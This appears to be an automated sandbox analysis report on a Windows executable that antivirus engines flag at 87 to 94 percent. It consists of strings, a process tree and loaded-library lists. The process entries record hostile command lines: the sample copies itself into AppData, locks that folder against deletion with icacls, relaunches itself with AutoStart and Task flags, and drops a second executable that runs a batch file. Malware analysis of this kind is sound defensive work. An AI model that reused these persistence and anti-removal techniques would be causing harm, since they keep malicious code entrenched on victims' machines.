Source: wctFF6F.tmp.11.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Virustotal: Detection: 87%
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	ReversingLabs: Detection: 94%

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: set-addPolicy
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: id-cmc-addExtensions
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: set-addPolicy
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: id-cmc-addExtensions
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: set-addPolicy
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: id-cmc-addExtensions
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: set-addPolicy
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

File read: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7344 -s 1604
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" "

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: gpapi.dll	Jump to behavior
